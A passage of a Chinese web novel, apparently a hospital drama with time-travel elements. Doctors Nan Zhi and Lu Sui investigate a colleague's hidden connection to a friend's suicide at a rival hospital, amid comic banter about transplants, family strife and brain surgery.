“我今天没有手术,能按时下班,”陆随提议,“我可以去恩德医院看看。” 南栀说:“我和你一起去,可以先和金主任打个招呼。” 几人正商量着如何调查,几个穿着富贵的人小跑着过来,有护士带着他们,他们还是慌张地在找名字,一直到韦初雪的病房。 韦宁雨看到几人,脸色微冷。 南栀意识到什么,“韦初雪的家人?” 韦宁雨点头,尽量不去看他们。 在还没开放时,范雯华就和丈夫韦利一起偷偷摆摊,这种行为叫作投机倒把,一不小心就会被抓进去。 他们运气好,一直没被抓住,还攒下了一笔可观的资金。 韦家的家底本来就不错,夫妻俩看起来是摆摊,其实赚得真不少,加上很有经商的头脑,政策放开后公司越做越大。 范雯华不缺钱,有还算老实的丈夫和优秀的女儿,她这辈子已经不缺什么了。 直到爆出抱错孩子的事。 范雯华一进病房,看到韦初雪的憔悴模样便忍不住落泪,“你说你,非得搬出去自己住,你这么忙,能照顾好自己吗?我早就和你说过不要做什么医生了,太累太忙,回家来妈妈照顾你不好吗?” 韦宁雨漠然地看着他们一家人团聚。 不仅是范雯华和韦利,韦初雪的爷爷奶奶也很喜欢她。 纵然老一辈多多少少有些重男轻女,可韦初雪太优秀,他们和她的感情更深。 与之相比,韦宁雨只是局外人。 韦初雪朝范雯华笑笑,但没说什么。 她紧接着看向韦利,眼底有微妙的变化。 韦初雪冷淡地推开范雯华的手,道:“不是什么大病,做个手术就好了。” “我都知道,你要做的是开颅手术!要把脑子打开!你怎么会得这种病,是不是累的?唉,咱家是怎么了,先是你爸生病,再是你,你爸也不知道还能……” 范雯华看了眼丈夫,不忍再提起这件事。 韦利脸色苍白,但还是对着韦初雪笑了笑。 韦初雪避开父亲的目光,心里很堵。 南栀低声问韦宁雨,“韦总也生病了?” “好像是肝病,做了肝移植手术,不过做完手术之后身体也一直不太好,不知道还能撑几年,打算去国外治病了。” 陆随道:“韦初雪和你爸妈有什么矛盾?他们看起来很关心她。” “我也不太清楚,”韦宁雨除了头两年会去韦家,现在已经不怎么去了,“我印象里他们的关系很好,很亲密,后来也不知道发生什么事,韦初雪突然不愿意回家,我记不得具体时间。” 南栀小声说:“她说的要做的事,应该和父母有关吧?” “为什么?” “她爸爸妈妈对她很好,她却不愿意接受,也不想找爸爸妈妈帮忙,这很奇怪啊,”南栀说,“如果是我,最信任的肯定是家里人,会请他们帮忙的。” 陆随看向南栀。 南栀问:“不是吗?” 是这个道理,但不适用南栀。 她从小到大都没见过父母的好脸色,怎么还能如此信赖他们,一点儿都没长歪? 陆随说:“你也可以信任我。” 南栀怔住两秒,随即笑道:“我当然信任你啦。” 韦宁雨:“……” 他俩有病吧? 范雯华哭过了,擦干眼泪走出来。 面对外人时,范总还是小有威严的。 她走到韦宁雨面前,“宁雨,到底是怎么回事,小雪怎么会突然病了,她一直很健康。” 听起来不像是在问情况,更像是在质问。 韦宁雨不吭声。 他能说会道,很少有沉默的时候。 南栀替韦宁雨回答:“应该是韦医生自己长的瘤子。” 范雯华:“?” 南栀说:“肯定不是韦宁雨偷偷放进去的。” 又不是韦宁雨放的,质问他干嘛? 范雯华:“……” 韦宁雨压住嘴角,以免笑得太开心。 范雯华瞪了南栀一眼,对陆随说道:“小陆,我们家初雪和你是老朋友了,咱们两家关系一直不错,你和我说实话,初雪在医院过得怎么样?” 陆随说:“挺好的,想做什么就做什么,想骂谁就骂谁。” 范雯华:“……” 南栀补充道:“但她对自己的要求很高,所以总会累着自己。” 范雯华发现还是南栀能说人话。 “她怎么会突然生病呢?” 南栀道:“病不是突然生的,瘤子也不可能一下子就这么大,您如果要找原因,得是韦医生去做检查,我和韦宁雨都不知道。而且您现在该考虑的,是如何给韦医生治病,您说呢?” 范雯华沉默。 韦宁雨站在南栀身边猛点头。 “退一步说,就算韦医生的病和她生活的环境有关,”南栀看了一眼韦宁雨,“这也不是他造成的,您来质问他是没逻辑没道理的行为,普通人都知道不能怪罪不相干的人,更何况您是他的母亲。” 韦宁雨的笑容渐渐消失。 范雯华轻轻蹙了下眉,“宁雨,如果你愿意和他 们断绝关系,再也不联系,我们会好好补偿你。” 韦宁雨看起来很洒脱,“我一个人过得挺好,不接受你的建议。” 范雯华深吸口气,点点头,“好,我不逼你,小雪病了,我以后要多关注她的病,可能没太多时间关注你。” 韦宁雨学习了南栀的说话方式,“不不不,您以前也没关注我。” 范雯华:“……” 她意味深长地看了眼韦宁雨,不再与他多说什么,朝院长办公室走去。 韦宁雨松口气,碰了碰南栀,“你的说话方式真不错,解气。” 南栀疑惑道:“我是什么说话方式?” 韦宁雨说:“阴阳怪气啊。” 南栀:“?” 她不是诚实可靠的人设吗? 第65章 第65章移植手术 韦初雪住院,韦家人都赶来陪护,护士来说了好几次,也没人愿意走。 除了范雯华来质问韦宁雨,只有韦初雪的奶奶来看了看韦宁雨,想给他塞钱,但被韦宁雨拒绝。 韦家其他人都没管他。 韦宁雨神色如常,看起来已经习惯韦家人的态度。 下午,汤兴生处理好手头的事赶到,还没走到病房门口就看到南栀和刚下小手术的陆随。 他有点儿心虚,硬着头皮走过来。 汤兴生对外一直宣称韦初雪是他的心腹,心腹生病,他是最后一个知道的,还是被别人通知的,实在不像话。 汤兴生尴尬道:“她怎么样?” 南栀说:“不好,汤院长是有工作来找韦医生吗?她现在做不了了。” 汤兴生:“……” 更尴尬了。 陆随道:“您别介意,她说话直,没有坏心思。” 汤兴生:“……” 还不如有坏心思。 汤兴生再三保证只是来看看韦初雪,南栀才让他进病房。 正巧主任来和韦初雪商量治疗方案,看见汤兴生,鼻子快抬到天上。 汤兴生问:“初雪的片子在吗?给我看看。” 主任道:“我们科的病人,汤院长是要来看病?你以前好像不是我们科的医生。” 韦利走过来,“汤院长,我们家小雪身体不好,工作这方面可能要请你找其他人了。” 韦利曾做过肝移植手术,术后恢复一般,有排斥反应。 他脸色虽然苍白,但当老总的气势还在,话虽然还算委婉,但已有责怪的意思。 汤兴生点头哈腰,“是我的问题,没关注到初雪身体不适,以后不会再出现这样的问题。” 韦利道:“我们家小雪现在恐怕没法去和闹事的人道歉,如果你需要解决这件事,就去找其他医生吧。” 汤兴生大气都不敢出。 南栀站在门口叹气。 陆随问:“怎么了?” 南栀道:“汤院长肯定知道如何处理这件事更好,可他一点儿都不在乎医生如何,如果他对任何人都如此也无妨,偏偏还对有钱有权的人点头哈腰,这是医生和院长该做的吗?” 陆随笑笑,“行,长进了,开始懂人情世故了。” 南栀不太高兴,“我当然懂了,难道我还是孩子?我说话都很小心的。” 陆随:“……” 小心翼翼地创飞每一个人。 汤兴生看向韦初雪。 她很憔悴,脸色不好,没什么血色,说话时都很虚弱。 汤兴生恍然想到,韦初雪最近总是化妆,他以为是女孩子爱美,原来是为了掩盖病情。 做领导的,都该对下属好一些,下属才能死心塌地,他连韦初雪生病都没注意到,还要人来提醒。 汤兴生看向门外,南栀目光灼灼,盯着他不动。 汤兴生:“……” 把他拉去凌迟还更痛快些! 虽然主任带来治疗方案,但若想动手术,当然还是去首都治疗更好。 康宁医院也有神外科,会做些手术,但很受硬件限制,还得继续发展。 南栀在旁边听了一会儿,发现在大脑方面,康宁医院能动的手术很有限,就连神外的主任经验都不算丰富,就更别说小儿颅脑手术。 这些日子南栀一直在查小儿外科的资料。 那十年间,许多医生也在被批斗的范围内,十年结束后,小儿外科才开始真正地向好发展。 国内几个儿外方面的权威医生到处帮助发展缓慢的城市建立小儿外科。 世界小儿外科技术援助会也派人来到国内,但对小儿神外手术的研究都不多。 给成人做开颅手术,都要去找好的医院、大的医院,更别说是儿童。 南栀认真记下主任的每一句话。 主任一边和韦初雪唠叨,一边看南栀。 南栀的年纪对他来说也就是小朋友,这小朋友一直在旁边乖巧地站着,比学生听课还认真。 挺有趣的。 下班后,南栀嘱咐韦初雪多休息,然后去找陆随,他们约好要一起去恩德医院。 陆随要兼顾的工作比较多,比南栀忙些,先回办公室了。 南栀去办公室找他。 箫珵临时接到通知,要去做手术。 他看着陆随咬牙切齿,“为什么你总是和南栀一起行动?” 真是怪了,在同一家医院,他和陆随又都是心外的,南栀怎么不来找他? 陆随心情很好,笑容也很亲切,“不知道啊,可能是她喜欢吧。” 箫珵:“……” 郤文曜道:“人家都快结婚了,算是未婚夫?找自己未婚夫有什么不对?” “萧哥真奇怪,”闫民怀跟着取笑,“你再喜欢南栀,人家南栀喜欢的也是陆哥,你还是放弃吧,别做坏人了。” 箫珵:“……” 有苦说不出。 陆随的笑容更灿烂,“萧哥,我先去了,南栀在等我。” 箫珵:“……” 他想把陆随送到手术台上杀掉。 恩德医院到康宁医院不算近,但也不是很远,尤其陆随还在不堵车的地方开车,两人很快赶到恩德医院。 陆随看着恩德医院的大楼感慨,“患者说得也不无道理。” 和恩德医院相比,康宁医院的确寒酸了些。 不,是寒酸太多。 两人走进门诊大楼。 他们掌握的信息太少,韦初雪也不愿意多说,只能来找熟人打听打听。 盛昭云帮南栀联系了金瑞,金瑞正在办公室里等南栀。 去金瑞的办公室,要穿过门诊大楼,好巧不巧的,儿科门诊就在一楼,他们还会经过挂水区域。 南栀看着儿科门口满满当当的人,感慨道:“康宁医院也挺好的。” 除了陆嘉述在时,其他时间患者都不如恩德医院人多。 陆随解释,“临川市虽然有儿童医院,但水平其实一般,很多人不愿意去儿童医院,都会选择综合医院,恩德医院基本上算是临川最好的医院了。” 据说有肺炎去儿童医院住院的,住了九天情况越来越糟糕,家长坚持出院来恩德,恩德这边直接下了病危通知书,费了很大的劲才把孩子抢救过来。 这事还挺有名的,上过报道。 南栀小声道:“我觉得康宁比恩德强。” “为什么?” “这里氛围不好,”南栀说,“奇奇怪怪的,好像有几百个汤院长在。” 康宁医院虽然也有不太省心的同事领导,但比恩德医院强得多,而且就算是汤兴生,也没做过为了业绩、名声抢患者的事。 陆随笑笑,“小孩子。” 南栀瞪了陆随一眼,“别拿年纪说事,也别说我说话不经大脑。” 陆随:“我知道,你损人的话都是经过缜密思考的。” 南栀重重点头。 陆随:“所以杀伤力格外强。” 南栀:“……” 一个小男孩从南栀和陆随中间蹿出来。 他出现得太突然,南栀吓了一跳,第一反应是去扶陆随。 陆随:“?” 是不是反了? 不该是他去扶南栀? 南栀关心道:“没受伤吧?” 陆随:“……,只是有人经过而已,我不是瓷娃娃。” 南栀:“但你的身体比瓷娃娃还弱,唉,我妈今天怎么没送汤来,你这身体什么时候能补好啊?” 陆随:“……” 南栀叫住小男孩,她见男孩穿病号服,便说道:“这不是住院楼,你要回病房吗?姐姐带你去好不好?” 男孩看向南栀身后,摇头,“我要回家。” 他的脸色看起来很不好,刚刚跑了几步,现在便大口喘气,脸色白得像纸。 南栀从上看到下,接着把男孩抱起来,“回家的话,得去找爸爸妈妈,不能乱跑哦。” 男孩号啕大哭,还用手捶南栀的肩膀。 可小男孩的力气在南栀面前实在微不足道。 陆随看沉默了。 他做小孩子时,哭得也这么丑吗? 也挣扎得这般狼狈?? 陆随捂住脸,不想见人。 南栀先把男孩抱到儿科住院部。 护士长看了男孩几眼,道:“不是儿科的。” 陆随奇怪道:“他这年纪不来儿科?是要在外科动手术?” “这就不清楚了,这么多病人,我也不可能都记住,你们再去其他楼层问问吧,肯定不是我们这层楼的。” 南栀只好带着他继续找病房。 陆随道:“我来抱他,你休息休息。” 南栀又是一副照顾陆随的样子,“不行啦,你身体不好,我来,我在家天天举水平,这点儿重量没问题。” 陆随拧眉,“我是男人。” 南栀:“是呀,你的生理构造我看得出来。” 干嘛还要特意强调? 陆随:“……” 他脸颊迅速绯红。 什么叫看得出来?? ……流氓! 陆随跟在南栀身后,“你能不能别把我当成病人?我哪有这么弱?要不咱俩打一架?” 南栀笑笑,像在敷衍小孩子。 陆随:“……” 他生着闷气,还不能和南栀说,快气炸了。 陆随把孩子抢过去,“你,去找病房!” 南栀一脸担忧。 陆随:“我是男人!!” 南栀这才挪走不信任的目光,先去护士站了。 两人楼上楼下跑了几圈,一直跑到单人病房那层,才有护士焦急地跑过来,“小松!你跑去哪儿了?到处都找不到你,你妈妈都快急死了!” 南栀把孩子交给护士,“他是这里的病人?” 小松趴在护士的肩膀上不吭声。 护士点头,“麻烦你们了啊,幸好有你们带他找病房,不然我真是不知道怎么和他爸妈交代。” 陆随道:“这层都是单人病房?” “是啊,”护士说,“小松的病比较严重,家里条件也挺好,肯定要住单人病房的。” 康宁医院也有单人病房,但是没有几间,一般也是条件好的人才会去,其他人都在多人病房。 韦初雪被发现生病时,主任就想给她安排单人病房,韦初雪拒绝了。 南栀问:“他是什么病?” 护士低声道:“肝母细胞瘤,已经没法切除了。” 和南栀想的是同一方向。 陆随道:“要移植?” 护士点头,“你们倒是挺清楚的,我不能和你们说了,得赶紧去给他妈妈报平安。” 护士抱着小松快步走远。 南栀说:“看到了吗?绝对不能学。” 陆随:“?,你是说恩德医院的单人病房太多?” 南栀:“护士把患者病情告诉我们了,这在四十年后肯定是要吃投诉的呀。” 她求表扬似的看向陆随,“我还是很有情商的吧?” 陆随:“……” 难以夸出口。 两人送小松回病房耽误了些时间,南栀想尽快去见金瑞。 下楼时却迎面撞上一个医生。 他挡在陆随和南栀中间,南栀想绕开他下楼,他却跟着南栀走了一步,非要挡住她不可。 南栀好奇地看着他胸口的牌子。 腹部外科,田宏。 “田医生……” 田宏没理南栀,抬头看向陆随。 陆随在台阶上,田宏在台阶下,气势先输了一截。 田宏上了两节台阶……平视。 田宏又上了两节台阶,这回好了。 “陆随,还真是你?你跑到我们医院干嘛?回你的康宁医院待着。” 陆随挑眉。 南栀问:“你认识?” 陆随没说话。 田宏冷笑,“看到我心虚了?说不出来话了?呵,我看你也该心虚!” 南栀和陆随当着他的面蛐蛐,“这到底是谁啊?” 陆随:“不知道啊,想不起来。” 田宏:“……,你忘了我是谁??!咱俩是一个学校的!” 陆随道:“学校那么多人,我记得过来?” 田宏险些晕厥,他记不住别人就算了,竟然记不住他? 他好歹也是年级的第二名!第二名! 陆随无语,“我为什么一定要记住第二名是谁?” 他问南栀,“你记得住第二名吗?” 南栀摇头,“为什么要记呀?要确认考场号吗?可是1号更容易记啊,只要去第一考场的第一个位置就好了。” 老实的南栀是这样说的。 陆随表示赞同,“不该在不重要的事上浪费精力。” 田宏:“!!” 他现在需要跳到河里灭灭火气! 怎么会有这么气人的人??! 陆随以前也气人吗?不会啊?他一直是老实巴交的样子,很烦人啊?! 陆随问:“你到底想说什么,我们有过节?” 田宏:“……” 他记恨好几年,人家根本记不住。 田宏说:“咱俩有血海深仇。” 南栀:“啊?你的爸爸妈妈被陆随治死了?” 田宏:“……他和老实告我的状!!” 南栀:“……” 陆随:“……” 两人再次大声蛐蛐,“这也叫血海深仇?” “他可能脑子有问题。” “要不送他去医院看看吧。” “这里就是医院。” “哦,对。” 田宏:“??” 这两人在他面前说什么?在说什么?? 陆随在田宏被气死前,轻咳一声,故作大度,“过去的事就算了,如果是我的错,我向你道歉。” 田宏在陆随真诚的目光中看到几个字——还是没想起来。 !! 气人,太气人了! 陆随问:“你是腹部外科的?哦,应该和肝胆外科差不多,小松是你们科室的 ?” 田宏总算听到一点儿人话,“怎么,要抢人?” 南栀说:“这不是你们医院喜欢做的事嘛,你放心啦,我们不会的。” 田宏:“……” 这姑娘好像在骂他。 但看起来又很真诚。 应该是真诚地在骂他。 陆随说:“只是想问问他是什么情况。” 田宏道:“已经侵犯主要血管,不能切除,得做肝移植。” 南栀惊讶道:“这里可以做肝移植手术?” 现在的移植手术大多是肝移植或是肾移植,一般是首都的大医院才做。 南栀查到的有关移植的论文和病历基本出自器官移植中心,也在首都。 田宏得意道:“我们恩德又不是康宁,别说市里了,就算是整个省,我们也是能排得上名次的,以为都像你们,烂得连手术都开不起来?” 田宏和陆随是高中同学,高中毕业后,田宏留在临川读医科大学,陆随考到首都的大学。 他也是蛮奇怪,明明能留在首都,非要回临川。 回临川后还不来恩德,非要去康宁。 田宏炫耀道:“我们已经做成功好几例肝移植手术了,跟踪调查恢复得都不错,你们汤院长好像也想学我们哦。” 南栀好奇道:“康宁也能做肝移植?” 显然是不相信的口吻。 田宏:“……” 这姑娘怎么谁都创啊?自家医院都不给留面子? 田宏说:“能做才怪,肯定是看我们医院打出移植手术的招牌你们就想学,好了好了,别废话了,我们医院不欢迎你们,你们赶紧走。” 南栀奇怪道:“你是专程来赶我们走的?” 田宏翻白眼。 陆随问:“你怎么知道我们会过来?” 田宏一愣,表情不太自然,“管这么多干嘛?反正你们赶紧走就对了。” 有点儿奇怪。 陆随低声道:“我走时,办公室的人都知道。” 至于南栀,没和其他人打招呼。 不过他们只是随口说一句,没具体提过要来恩德,这里又没监控,田宏是怎么知道的? 如果是恩德其他医生看到他们,应该不至于难以启齿? 田宏特意来找他们,这很奇怪。 田宏支支吾吾嘟囔了几句,然后拉着陆随往外走,“反正你别想来我们医院偷师。” 三人走到一楼,正好遇到金瑞。 金瑞跑过来,“你们去哪了,一直在等你们。” 田宏道:“金主任,是你约的他们?你怎么把康宁的医生约过来了?” 金瑞看向南栀,“这位是康宁医院儿科的医生,我这边有几个病历需要和她讨论。” 田宏睁大眼睛看着南栀,“她也是医生?” 他还以为是护士。 “南医生可不比我差,很多病历我还得向她请教,他们是我的客人……你这是?” 田宏松开陆随,“陆随也是你请来的?” “哦,孩子有心脏方面的问题,陆医生动的手术比较多,所以一起叫来了。” 在同一家医院工作,田宏又是后辈,不能不给前辈面前,他只好说:“可能是误会吧,他们刚刚跑顶楼去了,那你们快谈。” 田宏看向陆随,“谈完赶紧走!” 陆随微笑地摆手,“再见。” 田宏:“……” 这俩人怎么都阴阳怪气的?! 田宏离开,南栀和陆随崇拜地看着金瑞。 金瑞:“?” 南栀说:“金主任,你好厉害哦,撒谎不会脸红的,我也想学学!” 陆随:“而且编得有理有据,不是乱说。” 南栀:“真是说谎界的天才呀!” 金瑞:“……” 他好像被骂了? 金瑞把两个祖宗拽到更衣室。 “你俩只有智商,没有情商?别和田宏纠缠,田宏背景很强,腹部外科的主任不是普通人。” 南栀随口问:“比陆随还强吗?” 金瑞:“……” 他打开更衣室的门,“去吧,继续纠缠!” 南栀赶紧关上门,“我们真的有事问你。” 金瑞无奈地看着两人。 这二位的智商和情商完全相反,早晚会得罪人。 南栀说:“我听说恩德医院前几年有个护士自尽了,有这回事吗?” 金瑞再次检查周围,确定没人才说道:“没听说有护士自杀,只听说过一个医生自杀了。” 南栀也忘了韦初雪的朋友是护士还是医生。 “你知道原因吗?” 金瑞回忆道:“应该是叫葛晓凡,是在医院跳楼的,留了遗书,说是和家里人关系不好,活不下去了。这事当时闹得挺大,不过很快就过去了,自杀嘛,又是因为家里,和医院无关。” “你认识葛晓凡吗?” “她是普外的,我和她有过接触,但接触不多。” 南栀问:“你看她像是会自杀的人吗?” “这……”金瑞说,“确实每天都愁眉苦脸的,对了,她和你们医院的韦初雪关系不错,你们可以去问她。” 果然是韦初雪的朋友。 南栀来了精神,她掏出准备好的笔记本,“金主任,你还能回想起什么,都告诉我,别和其他人说啊。” 金瑞:“你改行了?” “恩?” “准备当刑警?” “……” 这事和韦初雪有关,肯定不能直白地说出去,还不知道她会不会同意。 南栀努力扯谎,“其实是,恩,是陆随吧,他以前总关注人家,这几天寝食难安,我们就想着来问一问,去关心关心她的父母。” 金瑞惊讶地看向陆随,“陆医生……情感挺丰富。” 带着未婚妻来查前暗恋对象,也挺牛。 陆随:“……” 再让南栀编排下去,他可能会成为别人口中的传奇人物。 金瑞便又努力想了想,“别去慰问她家里人了,她就是因为家人自尽的,好像说是她有四个弟弟,她一直被爸妈压榨,爸妈说供她读书了嘛,就得上交工资,这种情况还挺常见,不过她爸妈确实过分了,一分钱都不留给她,工业券、粮票全都收走,她在医院时,每天都只吃烀土豆。” 南栀所在的大桑村,收成不好时,他们家也总是吃土豆,变着花样的土豆。 但这毕竟是城里,生活水平肯定比大桑村高。 而且葛晓凡还读书了,能供得起孩子读大学的家庭,不至于这么惨。 “咱们医生吧,是没什么钱,但和普通人相比,其实挺稳定,赚得也不少,而且医院还有补贴,正常情况下葛晓凡靠自己的工资肯定能过得很好。所以这事我们都挺唏嘘的,好好的医生,念了这么多年书,被家里欺负成这样。” 南栀问:“她自杀后,父母怎么说?” “还能说什么,遗书都有,听说是想来闹,不过医院给了一笔钱,他们拿着钱就跑了。” “自杀还给钱啊?” “人道主义呗,毕竟是一起工作的同事,因为这事,我们还被主任叫过去,挨个询问家里的情况。这主任关心人的时候更可怕。” 金瑞不是普外的,知道的信息不多。 南栀整理了一下,大概就是葛晓凡和韦初雪是朋友,韦初雪本来想和葛晓凡一起来恩德,分配工作的时候出了差错,韦初雪去了康宁。 刚去时,韦初雪一直在想办法调到恩德,没过多久葛晓凡自尽,韦初雪便踏踏实实留在康宁,再也没动过念头。 “韦医生当初还是很喜欢我们医院的,她父亲生病,直接在我们医院把手术做了,她父亲可不是一般的有钱,有钱人都会选择去首都治疗。” 说到这里,金瑞有些自豪。 陆随问:“我记得她父亲也是肝移植?” 金瑞笑道:“我们医院已经做过好几起移植手术了,腹部外科的几个医生和首都的器官移植中心都有联系,虽然名气还没打响,但我敢保证,如果没办法去首都,来我们医院是最好的选择。” 南栀道:“以前还真不知道恩德医院还有这本事。” 金瑞笑得更开心,“你出去问问,好歹大家都说我们是临川市最好的医院,多少得有些本事。” 金瑞不知道更多的情况,他还得回家帮忙照顾孩子,南栀和金瑞告别后,拉着陆随一起在医院里转转。 恩德医院的医生拥有一栋独立的办公室大楼,办公室的楼和门诊大楼有走廊连接。 “葛晓凡就是在这栋楼上跳下来的,是从一间没人用的办公室跳的,我在一楼看了恩德医院的平面图,普外的办公室是在二楼。” 陆随道:“跳楼肯定要选高楼层。” 南栀仰头看着楼顶,“为什么不去顶楼。” 办公楼的顶楼可以随便上,现在还有两个白大褂靠在栏杆上聊天。 如果顶楼能上,很少有人会特别选择中间的某一楼层。 陆随道:“想也想不出来,上楼看看?” 两人鬼鬼祟祟往楼上走。 办公楼里不仅有医生的办公室,还有更衣室、休息室,南栀甚至还看到健身室。 健身室是两间办公室组成的,里面放着运动用的篮球、羽毛球。 南栀甚至还看到乒乓球台。 原来这会儿大家就很喜欢乒乓球呢。 南栀和陆随对视一眼,得出结论,“医生喜欢来恩德医院工作,不是没理由的。” 两个工作环境宛如风餐露宿的人心疼地抱紧自己。 葛晓凡跳楼的办公室一 直是空闲的,金瑞说,出事之前办公室的门没锁,有的人想躲懒,就会进去待一会儿。 出事之后所有空闲的办公室都上了锁,不能再随便进入。 两人很快走到五楼。 正巧有医生下楼,见他们穿便衣,说道:“这里是办公室,门诊在前面。” 陆随面不改色,“我找田宏。” “腹部外科的田宏?就在里面。” 医生贴心地给陆随指路。 南栀蹑手蹑脚走过去,先找到葛晓凡跳楼的办公室,接着又往里面走去。 腹部外科办公室在隔壁的隔壁,南栀甚至能听到田宏的笑声。 再往里去,还有甲状腺等几个科室的办公室。 顶楼有医生,他们不方便上去,容易挨打。 趁着还没人发现他们,南栀拉着陆随溜走。 等回到车上,南栀才松口气,然后露出灿烂笑容,“好刺激。” 陆随:“……” 南栀的喜好总是让人摸不着头脑。 “是有点儿奇怪,如果不是对那间办公室有特别的感情,应该不会特意过去自尽。” 南栀说:“不止如此,其实田宏会出现也挺奇怪的,他刚好是腹部外科的,葛晓凡刚好是韦初雪的朋友,韦利又刚好在恩德医院做了肝移植手术,手术刚好也是腹部外科做的。” “我刚才就想说,韦初雪在意的事是不是和韦利有关?韦利移植肝脏有几年了,肉眼判断可能不准确,但我感觉他应该没两年了。” 南栀也能看出韦利的状况很差。 “你是说韦利的手术失败了?所以韦初雪很在意?” 陆随点头。 “如果是这样,韦初雪不会和父母关系僵硬啊,她应该会更努力地去照顾父亲,其实我真的不理解她为什么会和父母闹掰,有父母疼爱多好啊。” 如果是别人说这话,陆随或许会告诉她,做父母的也是普通人,有他们的缺点。 但面对南栀,陆随说不出口。 陆随说:“人这一生很长,除了父母还会遇到很多人,会有更多的人爱你。” 南栀眨着大眼睛,“我?” 陆随:“……代指每一个人。” 那就对了。 南栀道:“明天上班,我去翻翻韦利的病历,再和韦初雪谈谈,说不定她愿意告诉我们。” 肝移植手术,肾移植手术,小地方的恩德医院竟然能做。 这对南栀来说,本身就是神奇的事情。 可惜没有电脑,查找论文很不方便,南栀努力地找了好几家报社,买了些过期的医学期刊,也没找到写肝移植的。 翌日,南栀一早就来住院部堵韦宁雨。 “你和韦利的关系不好吗?” 韦宁雨无奈道:“他从来都没对我露过笑脸,说我土,说我没本事,学习成绩还不好,给他丢人,关系能好吗?我刚来那年,就我一个人,其实挺害怕的,周围都是陌生人,又是陌生的环境,心里着急,发烧了,结果你猜韦总说什么?说我没本事,没见过大世面,我烧了一整晚,他都没来关心我一句,也就韦初雪还算是个人,送了我一片退烧药还有冷毛巾。” 能让韦宁雨唠叨的人不多,他脑子多灵活,不该说的话从来不说。 韦宁雨都唠叨这么多了,可见韦利这人真不怎么样。 南栀觉得自己得关心同事,她安抚道:“你别难过啊,韦利应该没几年了。” 韦宁雨:“……” 他把南栀拉到墙根站好,真心道:“栀栀,你没事少说话,我真哪天你出门被人打死。” 南栀:“?” 怎么会呢,她多会关心人呀。 “我是想问,韦利和韦初雪的关系为什么这么差,韦初雪不知道韦利的病情吗?” “肯定知道,他做手术的事就是韦初雪张罗的,至于后来为什么关系不好了,你得去问她,我不关心。” 韦宁雨在韦家住了一段时间,受不了他们的态度,借了点儿钱搬出来了。 他脑子好用,经商的本事大概是真的遗传了韦利和范雯华,短短几个月就入账大笔资金,办法还没写在刑法里。 赚到钱后,韦宁雨就把养父母接了过来,几乎不再去韦家。 韦宁雨痛心疾首,“我最生气的就是当初回韦家改了名字,现在去派出所想再改回去,派出所不同意!嘿,你说多奇怪,我改我自己的名字,还得派出所同意,我连自己叫什么都做不了主,凭啥?” 南栀:“等韦利死了你再……” 韦宁雨及时捂住南栀的嘴,“说得很好,别再说了。” 韦总可是个小心眼,如果被他听到,说不定要给南栀使绊子。 他低声道:“你是想让韦初雪去首都做手术,对吗?” 南栀点头,“她的情况,只能去首都。” 韦宁雨说:“我建议你,不用和韦初雪商量,直接灌几片安眠药带走就是了。” 南栀:“……” 她觉得韦宁雨更应该闭嘴。 “还是查查吧,韦医生在乎的应该就是她的朋友吧?葛晓凡?” 韦宁雨耸肩,“我看她什么都不缺,还能在乎什么?葛晓凡?好像听说过,哦,想起来了,韦利做手术没多久,她就跳楼了。” 南栀一惊,“时间很接近?” 韦宁雨点头,“非常接近,而且我还可以告诉你,韦利的手术肯定没失败,不存在恩德医院隐瞒的情况,他的手术非常成功,你去看看,现在恩德医院的人还在吹。” 第66章 第66章吵架 儿科的医生增加后,南栀不用天天去门诊,盛昭云给她安排了其他任务。 南栀完成后,回到办公室去翻韦初雪前几天给她的资料。 “对颅脑手术中安全钳使用的介绍。” “负压引流装置在颅脑手术中的应用,目前常用的引流装置有两种,一种是引流袋,一种是负压吸引球……” 盛昭云来办公室找实习生,见南栀在查颅脑手术方面的资料,边说:“目前为止更多的研究是基于战时颅脑伤,和脑瘤还是有较大区别的,脑瘤相关的资料很多都是国外的,别想那么多了,富雅医院能处理得好。” 南栀摇摇头,说:“我是在想,现在国内做开颅手术是不是很难。” 盛昭云笑道:“不只是现在,恐怕几十年后也很难,做开颅手术用到的工具,都会将一群人吓走。” 南栀道:“那小儿开颅手术就更难做了。” 盛昭云听出她的弦外之音,“你想研究?” 南栀点头。 空白太多,需要有人补上。 她在后世学到的知识,正好补空缺。 盛昭云说:“我不想打击你,但咱们医院的开颅手术做得都不太好,心脏方面的手术,如果不是刚好有几个人才,可能也没法做太难的手术。” 一般康宁医院处理不了的病例会再转恩德医院或者省会的医院。 康宁医院是最高级别中最差劲的,不能做的手术,或是能做但做得不够出色的手术有很多。 南栀想在康宁医院学到这些着实困难。 盛昭云道:“据我所知,陆教授做过类似的手术,但数量应该不算多,陆教授最近几年不知道在研究什么,你可以向她打听打听,看看能不能跟几台手术试试。” 想研究小儿神外手术,实在不容易,南栀可能连学习的对象都没有。 南栀笑笑,仍然不太谦虚,“我应该可以。” 盛昭云先是无奈,接着说道:“有信心也算好事,说不定你真就能在康宁医院创造历史。” 毕竟南栀原本就不是普通人。 南栀抽空去找陆随,研究韦初雪的CT报告单。 她和陆随虽然都不是神外的,但毕竟在后世见过很多病例,学到的知识还多些。 肿瘤虽大,还有脑积水,但南栀认为很有积极治疗的必要。 下午去过食堂, 南栀和韦宁雨又去病房看望韦初雪。 韦初雪的家人都在,护士劝了很久,他们都不肯回家,一定要留下来陪护。 医院没有规定限制陪护人数,护士就只能随他们去了,只要不打扰其他病人就行。 韦初雪见南栀拿着铝饭盒,想到她们最先认识就是在食堂。 食堂是唯一能见到所有科室所有同事的地方,很多八卦也产生于食堂。 不知是不是病了,韦初雪最近几天总是多愁善感,“我在食堂为难你时,你一定很生气吧。” 韦宁雨看向南栀。 两位女强人能握手言和是好事,都是优秀的女孩子,何苦为难彼此? 南栀惊讶道:“你为难过我啊?为什么?” 她怪聪明又怪可爱的,和善待人,从不与人争吵,为难她干嘛? 韦初雪:“……” 韦宁雨:“……” 兄妹俩都不想说话。 韦宁雨去床头柜上的暖壶添热水。 南栀趁韦初雪其他家人在聊天,低声问道:“你放不下的事和葛晓凡有关吗?” 韦初雪怔住,不可思议地看向南栀。 在触碰到南栀目光之前,韦初雪及时调整神色,轻松地笑道:“这件事你就别管了。” 南栀坚定道:“为了让你答应去首都开刀,我不可能不管,你如果直接告诉我,事情反而简单些。” 韦初雪耳畔掀起风浪声。 内心蠢蠢欲动,好像有道声音让她答应南栀。 告诉南栀,全都说明白,说了,她就能解脱了。 如果手术失败,在地下见到葛晓凡,她还能假惺惺地说已经尽力。 她可以把这件事拜托给南栀,毫无负担地离开。 风浪声越来越大,海平面波涛汹涌,海水拍打着岸边的礁石,仔细看去,好像也不是礁石,而是韦初雪自己。 